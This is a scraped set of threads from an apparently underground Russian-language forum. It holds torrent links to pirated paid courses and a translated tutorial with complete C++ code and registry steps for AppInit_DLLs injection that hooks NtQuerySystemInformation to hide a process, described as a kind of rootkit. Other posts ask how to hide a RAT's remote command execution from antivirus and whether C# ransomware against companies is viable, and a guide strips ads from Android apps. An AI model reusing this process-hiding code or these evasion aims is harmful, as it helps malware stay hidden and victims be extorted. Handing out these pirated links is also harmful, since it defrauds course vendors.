[Link](http://magnet:?xt=urn:btih:62c81b7dff7a94c7392b6454fcef571fe4126be3&dn=[underver.se].t162463.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Python
SkillBox, Алексей Половинкин и др. - Python-фреймворк Django (2021)
[Link](http://magnet:?xt=urn:btih:8359850b4cd0dda08a0984e563c3a91628292814&dn=[underver.se].t212433.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
OTUS, Сурен Хоренян - Python-разработчик. Базовый курс (Часть 1-4) (2020)
[Link](http://magnet:?xt=urn:btih:60e86fecc4c7780e3b1fe4e2bd4dcaf65126ec6c&dn=[underver.se].t192094.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
OTUS - Разработчик Python. Продвинутый курс (2020)
[Link](http://magnet:?xt=urn:btih:3b7b182d5588ec245adef27b3b6d8faa39284a7a&dn=[underver.se].t175684.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
CyberSecuity
Udemy Cybersecurity Courses Collection
Link
Эта статья посвящена простому подходу к настройке глобальных перехватчиков API в масштабе всей системы. Для инъекции DLL мы будем использовать ключ реестра с именем AppInit_DLLs, а для выполнения перехвата API в Windows мы будем использовать библиотеку Mhook. В этой статье также будет представлен пример внедрения DLL: мы покажем, как можно легко сделать процесс calc.exe невидимым в списке запущенных процессов.
О перехвате API
Перехват Windows API — это процесс, позволяющий перехватывать вызовы API- функций. Это дает вам контроль над тем, как ведет себя операционная система или часть программного обеспечения. Некоторые из программных решений, использующих перехватчики, включают: программное обеспечение для защиты от вредоносных программ, решения для обеспечения безопасности приложений, инструменты мониторинга безопасности, системные утилиты, инструменты для программирования и многие другие.
Типы хуков API
Хуки API можно разделить на следующие типы:
- Локальные хуки: они влияют только на определенные приложения.
- Глобальные хуки: они влияют на все системные процессы.
Тип метода перехвата для Windows, который мы здесь рассматриваем, относится к глобальному типу. Он влияет на все процессы во всех сеансах (в отличие от метода SetWindowsHooks, который ограничен только выбранным рабочим столом).
Инфраструктура AppInit_DLL
Инфраструктура AppInit_DLLs загружает предопределенный набор DLL во все процессы пользовательского режима, связанные с библиотекой User32.dll (на самом деле исполняемых файлов, которые не были бы связаны с ней, почти нет). Когда User32.dll инициализируется, она загружает соответствующие библиотеки DLL, тем самым выполняя внедрение DLL в процессы.
Чтобы изменить поведение инфраструктуры AppInit_DLL, необходимо настроить значения раздела реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows.
Значение| Описание| Пример
---|---|---
LoadAppInit_DLLs
(REG_DWORD)| Позволяет включать и выключать AppInit_DLL в глобальном
масштабе.| 0x0 отключает AppInit_DLL.
0x1 включает AppInit_DLL
AppInit_DLLs
(REG_SZ)
| Позволяет указать список DLL для загрузки. Элементы должны быть разделены
запятыми или пробелами. Чтобы указать полный путь к DLL, используйте короткие
имена файлов.| C:\PROGRA~1\Test\Sample.dll
RequireSignedAppInit_DLLs
(REG_DWORD)| Позволяет ограничить диапазон библиотек DLL только подписанными
кодом.| 0x0 позволяет загружать любые библиотеки DLL
0x1 позволяет загружать только библиотеки DLL с кодовой подписью.
Библиотека Mhook
Существует несколько библиотек перехвата API. Как правило, они делают следующее:
- Заменяют начальную часть кода определенной функции нашим собственным
кодом (также известным как трамплин). После выполнения функция переходит к
обработчику ловушек.
- Сохраняет исходную версию замененного кода определенной функции. Это
необходимо для правильной работы определенной функции.
- Восстанливает замененную часть определенной функции.
Как я упоминал ранее, при создании наших глобальных хуков мы будем использовать библиотеку Mhook. Это бесплатная и простая в использовании библиотека с открытым исходным кодом для перехвата Windows API, поддерживающая системные архитектуры x32 и x64. Его интерфейс не сложен и не требует пояснений:
**BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction);
BOOL Mhook_Unhook(PVOID *ppHookedFunction); **
Более подробная информация о том, как использовать библиотеку, доступна далее в статье и на домашней странице Mhook.
Пример реализации
В этом примере мы будем использовать C++ для написания DLL пользовательского режима, чтобы проиллюстрировать методы внедрения DLL. Для этого необходима последняя версия исходников Mhook, которые будут добавлены в ваш проект. Обратите внимание, что любые предварительно скомпилированные заголовки должны быть отключены для файлов Mhook.
Как мы уже говорили, чтобы привести пример перехвата API, мы сделаем процесс calc.exe невидимым в списке процессов — для любого инструмента Windows, представляющего такой список. Этот пример продемонстрирует, как создать и внедрить DLL в процесс, тем самым установив глобальную перехватчик API — и создав своего рода руткит appinit_dlls.
Функция источника
Чтобы получить список запущенных процессов, вам нужно вызвать функцию NtQuerySystemInformationNTAPI. Это означает, что для нашего проекта требуется кое-что из NTAPI. Поскольку мы не можем найти полную информацию в заголовке winternl.h, типы данных должны быть определены вручную:
Code:Copy to clipboard
//
// Defines and typedefs
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
ULONG BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, *PMY_SYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PNT_QUERY_SYSTEM_INFORMATION)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
Создание и инициализация глобальной переменной позволяет нам хранить адрес исходной функции.
//
// Original function
PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =(PNT_QUERY_SYSTEM_INFORMATION)::GetProcAddress:GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");Click to expand...
Функция после хука
После того, как функция была перехвачена, сначала она вызывает исходную функцию. Затем мы исследуем SystemInformationClass. Если окажется, что это SystemProcessInformation, в списке запущенных процессов нам нужно найти и удалить все записи, связанные с calc.exe. Вот и все!
Обратите внимание, что исходная и перехваченная функции должны иметь одинаковые cсигнатуры.
Code:Copy to clipboard
//
// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
)
{
NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
{
//
// Loop through the list of processes
//
PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
SystemInformation;
do
{
pCurrent = pNext;
pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
NextEntryOffset);
if (!wcsncmp(pNext->ImageName.Buffer, L"calc.exe", pNext->ImageName.Length))
{
if (0 == pNext->NextEntryOffset)
{
pCurrent->NextEntryOffset = 0;
}
else
{
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
pNext = pCurrent;
}
}
while(pCurrent->NextEntryOffset != 0);
}
return status;
}
Настройка хука Windows
Настройка хука не требует особых усилий: вам просто нужно вызвать Mhook_SetHook из DllMain после загрузки DLL в новый процесс:
Code:Copy to clipboard
//
// Entry point
BOOL WINAPI DllMain(
__in HINSTANCE hInstance,
__in DWORD Reason,
__in LPVOID Reserved
)
{
switch (Reason)
{
case DLL_PROCESS_ATTACH:
Mhook_SetHook((PVOID*)&OriginalNtQuerySystemInformation,
HookedNtQuerySystemInformation);
break;
Отвязка
Для обратного перехвата вам нужно вызвать Mhook_Unhook из DllMain после выгрузки DLL из процесса:
Code:Copy to clipboard
//
// Entry point
BOOL WINAPI DllMain(
__in HINSTANCE hInstance,
__in DWORD Reason,
__in LPVOID Reserved
)
{
switch (Reason)
{
...
case DLL_PROCESS_DETACH:
Mhook_Unhook((PVOID*)&OriginalNtQuerySystemInformation);
break;
}
Выполнение перехвата API
Теперь мы продемонстрируем, как работает наш DLL-хук. Следуй этим шагам:
- Соберите проект и поместите AppInitHook.dll, который у вас получится в результате, в корень диска C.
- В редакторе реестра Windows найдите ключ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows и выберите значение AppInit_DLLs.
- Отредактируйте значение и введите путь к хуку DLL (в нашем примере это
C:\AppInitHook.dll).
- После того, как вы закончите редактирование реестра, хуки начнут работать.
Теперь запустим несколько экземпляров скрытого процесса. После этого проверьте процессы в диспетчере задач Windows: calc.exe отсутствует в списке.
Поскольку предоставленный хук API является глобальным, мы можем видеть, что тот же результат отображается другими программами с функциональностью, аналогичной диспетчеру задач Windows. Например, Process Explorer от Марка Руссиновича.
Последняя проверка: откройте командную строку и запустите tasklist.exe.
Процесс стандартного калькулятора Windows и все его экземпляры были успешно скрыты. Хук API работает, как и ожидалось.
Ограничения
Теперь нужно сказать несколько слов об ограничениях этого метода:
- Подключение к User32.dll: Как мы уже говорили в начале статьи, затронуты
могут быть только те процессы, которые подключены к User32.dll.
- Могут быть вызваны только функции из Ntdll.dll и Kernel32.dll: Причина
этого в том, что перехват DLL происходит в DllMain из User32.dll и никакая
другая библиотека в этот момент не инициализируется.
- Функции безопасности Windows 7 и Windows 2008 R2: для этих функций
требуются библиотеки DLL AppInit с цифровыми подписями. На самом деле это не
большая проблема, поскольку функции можно отключить с помощью редактора
реестра Windows.
- Пробелы в полном пути к AppInit DLL не допускаются.
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://www.apriorit.com/dev-blog/160-apihooks
День добрый форумчани. Решил вот сделать пост на тему "Какие книги
начать\продолжать изучать по С++". Мб пост кописат, или уже "был", но я не
нашел, а книги и учения вещь нужная и полезная, а значиться должна быть под
рукой всегда, тем более по такому прекрасному и многообразному языку, как
"С++". Вообщем, угощайтесь на здоровье. Книги начинаются по алгоритму "От
наиболее важной" в зависимости от степени нагрузки и приоритетности. Хотя это
кому как.
ОФТОП: Все ссылки залиты на мега, "траянов, ратников, майнеров" нет, я не
тупой, чтобы плевать в колодез, с которого потом пить
буду
1 - Объектно-ориентированное программирование в С++. Автор Р. Лафоре
Страниц - 928
Формат - PDF
ИМХО маст хев в библиотеке любого сишника. Здесь вам и начало "Начал" и
многопоточность, и вложенные классы и ассинхроность. Автор предоставляет
материал по алгоритму "Это просто запомни, пока не вникай. Через два
предложения я тебе все объясню." Внятно, просто, на русском. Очень много
материала и реальных примеров задач.
[Скачать](https://mega.nz/file/WQoVVAhS#hc9nRi2vzsZ4MgwFE-
KDIP2xzK_b8VjI1YdlD5S4kkQ)
2 - Язык программирования С++. Специальное издание. Автор Б. Страуструп
Ну тут добавить нечего, это классика, автор этой книги и есть человек, который
придумал С++. Для некоторых она может показаться слишком математичной, так и
есть, ведь он в первую очередь математик. По этому, кто не на короткой руке с
"матешой" или "мат-анализом", будет не привычно. Однако, книга была переведена
на 19 языков, входит в классику "Computer Science".
Страниц - 1136
Формат - Djvu
Скачать
3 - Фундаментальные Алгоритмы на С++. Автор Р. Седжвик
Страниц - 688
Формат - PDF
Скачать
Хотите вы этого или нет, а алгоритмы знать надо, и еще не просто знать, а
уметь по среди ночи написать "решето Ератосфена" или "Бинарный
поиск"...шутка
. Но книга тоже из ряда маст хев. Автор не просто так выбрал с++, хотя от
выбраного языка алгоритм не коим образом не зависит. Книга легка в чтение,
хотя и порой может быть обрывками или невнятностями пахнуть. Автор начинает с
"мелкой рыбы", а затем плавно приводит к построению и анализу алгоритмов, их
приминение на конкретных программах.
4 - Программирование с++ в примерах и задачах. Автор А. Васильев
Страниц - 369
Формат - PDF
Скачать
Наш отечественный бестселлер. Книга проста в изучение, сжато но по сути
представленые основные тезисы языка, языковых конструкций, и АТД (абстрактные
типы данных). К каждому разделу прикрепляется раздел с задачами. Много
практики. Лучше начинать её после уверенных знаний в массивах, матрицах и
указателей. ООП проходится бегло.
5 - MS Visual c++ 2010 в среде net. Автор В. Зиборов
Страниц - 387
Формат - PDF
Скачать
Ну здесь вы открываете для себя VS на C++\CLI. Много примеров, плюс алгоритмы,
реальные задачи, много готовых решений и кода. Много задач по работе с
графикой, буферизацией, чтение и запись файлов. Юзанье веббраузера для
отрисовки данных, веб-формы. Как работать с базой SQL Server MS Access с
помощью ADO.net. Для lvl middle, junior.
6 - Программирование на языке с++ в среде Qt Creator. Автор Р. Алексеев and
company
Страниц - 448
Формат - PDF
Скачать
Все просто: выучили предыдущие книги, пора браться за фреймворк. Почти топовый
фрейм, который юзают от "BMV" заканчивая "Nasa" для С++ "QT" или как его
называют "КьюТи". На нем пилится чуть ли не половина софта, когда нужно
быстро, качественно и кроссплатформенно. Это книга только отправная точка,
ведь в фрейме содержиться почти 10000 классов. Только после уверенных знаний
ООП и алгоритмов можете начинать прыгать в этот бассейн.
7 - Программирование сетевых приложений на с++. Автор Ш. Дуглас
Страниц - 302
Формат - PDF
Скачать
Не был бы я С++ кодер если бы не вспомнил о TCP/IP и сетевых app. Здесь вам и
про TCP/IP протополы, сокеты, WIN-API и прочих ништяках расскажут. Паттерны
проектировки ACE IIO с open source. Сетевое программирование на С++ это очень
мощная вещь, кто её обуздает - тому будет открыта дорога в любой контору,
компанию, офер.
8 - Игровой Движок. Автор Д. Грегори
Страниц - 1200
Формат - PDF
Скачать
Хотите кодить игры, welcome. Тут вам все покажут, все сорцы и практики. Правда
нужно сперва знать линейную алгебру, матричный анализ и матан конечно же.
Автор книги был топ разрабом в Midway, Electronic Arts и Naughty Dog. В этой
книге он размывает абстракцию между игровым движком и низкроуровневой
системой. Симуляция физики, анимация персов, алгоритмы отрисовки ландшафта,
аудио кодеки, редакторы карт и много много всего.
8 - Алгоритмы и программы. Язык С++. Автор: Е. А. Конова, Г. А. Поллак
Страниц - 386
Формат - PDF
Скачать
Тоже как Алгоритмы и структуры данных. Основы оптимизации кода, основы
программирования на плюсах, интересные материалы по алгоритмах. Примеров
реальных задач нет, но не плохие выдуманные. Есть список алгоритвом, которые
всегда спрашивают на собеседованиях.
Интересует вопрос, изложенный в заголовке.
Допустим, имеется RAT, работающий на TCP сокетах.
Логика простая : Есть сервер, есть клиент.
Сервер отправляет сообщение -> клиенту "Открой калькулятор". В коде клиента
изложена логика поведения, что при получении сообщения "Открой калькулятор",
он должен запустить процесс калькулятора.
Со стороны динамической проверки антивирусом данное поведение выглядит пиздец как подозрительно. Так как приложение ожидает сообщений с какого-то левого сервера и выполняет его команды.
Собственно, вопрос. Как можно реализовать выполнение команд, посланных с сервера, но сделать это не на столько заметным.
Делаю софтец, который должен получать некоторую инфу, введённую юзером. Вот, допустим, нужный сайт https://vin01.ru/ Я ввожу туда номер автомобиля или вин, дальше нажимается кнопка и выводятся данные, мне нужно, чтобы полученные данные выводились в консоль. Помогите, пожалуйста. Набросков кода нет, так как не шарю в этой теме. Также хочу с некоторыми телеграм ботами. Помогите, пожалуйста.
У меня встала дилемма, в какой ОС разрабатывать свой проект под windows? Если кодить на винде в visual studio, то не будет ли VS(или же сама windows) шпионить за исходным кодом моих программ и отправлять их к себе на сервера? С другой стороны выбора у меня особо нет, так как mingw из линукс отказывается работать с разными windows библиотеками. В общем, что думаете об этом?
is c# ransomware still relevant in 2021 for companys? is it even possible to write a perfect ransomware in the language c#? what are the disadvantages?
Чтобы начать пилить этот чат, нам понадобится:
Для начала давайте немного пробежимся по основным понятием и вспомогательным интерфейсам. WinSock - по сути, это «инструмент»\интерфейс, который входит в главную API WINDOWS библиотеку дабы упразднить разработку ПО на базе TCP\IP протоколов. То есть, можно смело сказать, что это интерфейс (если вы знакомы с ООП методологией, то это слова не должны отождествлять с GUI интерфейсом) к семейству протоколов TCP/IP. Представьте старую игру, когда группа двух ребят берет в руки вафельные стаканчики и протягивает между ними нитку, якобы для «прослушивания» друг друга на расстоянии. Так вот, стаканчики это и есть сокеты. На двух разных концах будут присутствовать «клиент» и «сервер», которые «общаются\взаимодействуют» между друг другом. Технология далеко не новая. Конечно, сами программисты windows не придумали их с нуля, их реализация лежит в основе «UNIX» систем еще интерфейса Беркли.
Проект будем реализовывать на основе двух разных проектах – первая часть
сервак, вторая часть клиент. Все функции и детальный разбора я делать не буду,
для этого нет времени, за то есть доп. ссылки и книги, которые я прикреплю.
Для пущего понимая, я полагаю вы знакомы, что такое TCP/IP, ООП, функции и их
вызов, структуры (С++).
Литература
UNIX
сетевые?
C++
сетевое?
TCP/IP
стек?
И так поехали
Часть 1 - Сервер
Для начала мы подключаем препроцессорную директиву «WS2tcpip.h» для работы с winsocks. Самая главная функция для реализации winsocks это WSAStartup(принимает два параметра 1 – Версия, которая будет использоваться, 2 – указатель на адрес памяти структуры WSADATA). Остальные коменты написаны сразу в коде.
C++:Copy to clipboard
#include <iostream>
#include <WS2tcpip.h> // сокеты windows API для доступа к сетевым сокетам, будем работать через них. К тому
// же он включает функции для запила winsock и много других фу-й, которые мы будем юзать в ходе разработки
#pragma comment(lib, "ws2_32.lib")
using namespace std; // да-да знаю, bad practice, но учитывая что это дом. работа, упустим излишества
void main()
{
setlocale(LC_ALL, "Russian");
WSAData WinSockObj; // структура для создания winsocks
WORD version = MAKEWORD(2, 2); // версия winsocks, которые мы будем использовать
int winSock = WSAStartup(version, &WinSockObj); // передаем в ф-ю версию нашего винсокса и адрес самого obj winsocks
if (winSock != 0)
{
cerr << "Программа не может создать winsock!" << endl; // думаю по циклу ясно, а поток выбрали конечно соответственный для ошибок
return;
}
SOCKET listenSockServer = socket(AF_INET, SOCK_STREAM, 0); // версия inet - IPV4 , используем поток сокет, а последнее значение просто ноль.
if (listenSockServer == INVALID_SOCKET) // +- тоже самое, что в предыдущем ветвлении, только отличает второй операнд на сравнение
{
cerr << "Программа не может создать сокет!" << endl;
return;
}
sockaddr_in addressIPForSocket; // создаем на основе структуры объект на основе выбранного протокола
int serverSizeAddr = sizeof(addressIPForSocket);
addressIPForSocket.sin_family = AF_INET; // семейство inet - IPV4
addressIPForSocket.sin_port = htons(40000); // способ передачи байтов от хоста к сети, номер порта рандом - главное, чтобы он у вас бы не занят какой то службой
addressIPForSocket.sin_addr.S_un.S_addr = INADDR_ANY;
bind(listenSockServer, (sockaddr*)&addressIPForSocket, serverSizeAddr); // связываем наш сокет с портом, указатель на адрес и размер структуры адреса
listen(listenSockServer, SOMAXCONN); // начинаем чекать сокет на прослушку порта, SOMAXCONN максимальная длина очереди, которая прослушивает порт.
sockaddr_in addrClient; // начинаем ожидать первых подключений
int clientSizeAddr = sizeof(addrClient); // получаем размер адреса клиента
SOCKET clientSocket = accept(listenSockServer, (sockaddr*)&addrClient, &clientSizeAddr); // слушаем, получаем адрес, порт по которому клиент может приконектиться
if (clientSocket == INVALID_SOCKET)
{
cerr << "Программе не удалось подключить клиента по данному порту!" << endl;
}
char host[NI_MAXHOST]; // для получение имени клиента, который приконектился
char service[NI_MAXHOST]; // порт по которому клиент приконектился
ZeroMemory(host, NI_MAXHOST); // default заполняет память нулями, первый параметр это указатель на блок памяти, который нужно заполнить, а второй размер в байтах этой же памяти
ZeroMemory(service, NI_MAXSERV);
// getnameinfo это ф-ю которая преобра. адрес сокета в независимый хост\службу, притом похерестично на каком протоколе это базируется.
if (getnameinfo((sockaddr*)&clientSocket, clientSizeAddr, host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) // одним словом, если коннект удался...
{
cout << host << " Удачно подключился по порту " << service << endl;
}
else
{
inet_ntop(AF_INET, &addrClient.sin_addr, host, NI_MAXHOST);
cout << host << " подключение по порту " << htons(addrClient.sin_port) << endl;
}
closesocket(listenSockServer);
char bufferSize[10000]; // размер буфера, делайте какой захотите сами
while (true) // ожидаем клиента, пока он не отправит какие либо данные
{
ZeroMemory(bufferSize, 10000);
int dataReceived = recv(clientSocket, bufferSize, 10000, 0); // ф-ю для отправки данных
if (dataReceived == SOCKET_ERROR)
{
cerr << "Программа словила ошибку в отправке данных" << endl;
break;
}
if (dataReceived == 0) // если ничего не получили, значить клиент вышел
{
cout << "Клиент покинул чат" << endl;
break;
}
cout << string(bufferSize, 0, dataReceived) << endl;
send(clientSocket, bufferSize, dataReceived + 1, 0); // сообщение для отправки клиенту, размер n+1 для нулевого символа
}
closesocket(clientSocket);
WSACleanup(); // закрываем нашу лавочку и очищаем winsock
// Закрываем сокет
// Выключаем сокет
}
Написали, проверили код, делаем компиляцию
Теперь включаем Putty
Часть 2 - Клиент
Снова проделываем те же махинации по созданию проекта, как и предыдущем
случае.
Делаем main() func для клиента
C++:Copy to clipboard
#include <iostream>
#include <string>
#include <WS2tcpip.h>
#pragma comment (lib, "ws2_32.lib")
using namespace std;
void main ()
{
setlocale(LC_ALL, "Russian");
string ipAddressServer = "127.0.0.1"; // IP адрес сервака по какому будем конектиться
int portServer = 40000; // Порт для прослушки на сервере
WSADATA WinSocksObjClient;
WORD version = MAKEWORD(2, 2);
int winSocksResultConnect = WSAStartup(version, &WinSocksObjClient); // переменная для запуска нашего winsocks
if (winSocksResultConnect != 0) // проверяем, смогли ли получить коннект
{
cerr << "Программа не может создать winsock! " << winSocksResultConnect << endl;
return;
}
SOCKET listenSockClient = socket(AF_INET, SOCK_STREAM, 0);
if (listenSockClient == INVALID_SOCKET)
{
cerr << "Программа не может создать сокет, " << WSAGetLastError() << endl; // вызываем метод выдачи ошибок
}
sockaddr_in addressIPForClientSocket; // проделываем те же махинации, как и со структурой сокета сервера
addressIPForClientSocket.sin_family = AF_INET;
addressIPForClientSocket.sin_port = htons(portServer); // передаем переме. номера порта
int sizeOfaddressIPForClientSocket = sizeof(addressIPForClientSocket); // перем. для хранения размера структуры
inet_pton(AF_INET, ipAddressServer.c_str(), &addressIPForClientSocket.sin_addr);
int connectResultToServer = connect(listenSockClient, (sockaddr*)&addressIPForClientSocket, sizeOfaddressIPForClientSocket); // реализуем коннект к серверу
if (connectResultToServer == SOCKET_ERROR) // проверяем подключение
{
cerr << "Программа не может подключиться к серверу" << WSAGetLastError() << endl;
closesocket(listenSockClient); // закрываем и очищаем
WSACleanup();
return;
}
char bufferSize[10000];
string dataFromClient;
do
{
cout << " ||>.. "; // приглашаешь к вводу данных
getline(cin, dataFromClient); // по средства ф-и getline получаем поток ввода и данные от клиента
if (dataFromClient.size() > 0) // чекнем, чтобы юзер что то отправил сперва
{
int sendResultFromClient = send(listenSockClient, dataFromClient.c_str(), dataFromClient.size() + 1, 0); // переменная для хранения результата отправки данных от клиента
if (sendResultFromClient != SOCKET_ERROR)
{
ZeroMemory(bufferSize, 10000);
int bytesReceivedFromCLient = recv(listenSockClient, bufferSize, 10000, 0); // фу-я для получение данных от клиента
if (bytesReceivedFromCLient > 0)
{
cout << "Сервер говорит: " << string(bufferSize, 0, bytesReceivedFromCLient) << endl; // выводим все в консоль
}
}
}
} while (dataFromClient.size() > 0);
closesocket(listenSockClient);
WSACleanup();
}
Теперь добавляем для удобства запуска серверную часть
Проверяем, правильно ли добавили все файлы. Теперь выбираем свойства нашего
решения
И теперь запускаете F5 и ловите пруфы от своего чата.
Недавно заинтересовался возможностью модификации андроид приложений и нашел
несколько статей которыми хочу поделится с форумом. Делитесь своими
находками/знаниями по этой теме в комментариях.
-----------------------
Встроенную в Android-приложения рекламу предлагают различные рекламные агентства, в основном это AdMob или Google AdWords. Итак, всё по порядку:
1. Распаковываем приложение при помощи
ApkTool.
2. Находим файл AndroidManifest.xml , открываем его с помощью Notepad++.
3.1 В случае, если реклама от AdMob, удаляем следующие строки:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp-
content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-1.jpg&hash=420303384854e70677acd1bf2b66d856)
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-3.jpg&hash=289b1c52b3e8f5115e6745e79f81e09d)
3.2 Если же реклама от Google AdWords, то удаляем такие строки:
Eсли просто удалить записи из AndroidManifest. xml, то в приложении всё-
равно может всплывать черный баннер с красными символами, который говорит нам
«Здесь должна быть реклама», то есть самой рекламы нет, но место для баннера
осталось.
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp-
content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-7.jpg&hash=ae3e481858848a3dc960337792af672f)
Это можно исправить, переходим в папку _smali - > com -> google, _где удаляем
папку ads. Таким образом мы избавляемся уже не только от рекламы, но и от
назойливого баннера:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp-
content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-8.jpg&hash=2bc1aa06b259a91bb132290701b5533b)
Может возникнуть ситуация, когда после удаления папки приложение отказывается
запускаться. Тогда открываем Notepad++, нажимаем «Поиск» и выбираем «Найти в
файлах», указываем папку с декомпилированным приложением, папку smali и ищем
фразу «You must have AdActivity declared in AndroidManifest.xml». После
завершения поиска удаляем данную строку, которая в большинстве случаев
находится в файле AdView.smali. Не забываем удалить рекламу в
AndroidManifest.xml , как описано немного выше.
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp-
content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-9.jpg&hash=0e3c99a0518a8e2e382cefa4dfe6a45d)
Собираем приложение обратно (папку ads не удаляем!). Теперь всё должно работать нормально.
Если баннер графический, то есть картинка, то сначала удаляем всё, как обычно
в AndroidManifest.xml и соответствующих папках, как было описано выше. После
чего заходим в папку drawable(она находится в папке res) и находим файл
баннера:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp-
content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-10.jpg&hash=e3d7b8dba77eca392349d54219c894ce)
Открываем картинку и при помощи любого графического редактора (подойдет и
стандартный Windows`овский Paint) уменьшем её до размера 1х1 пиксель:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp-
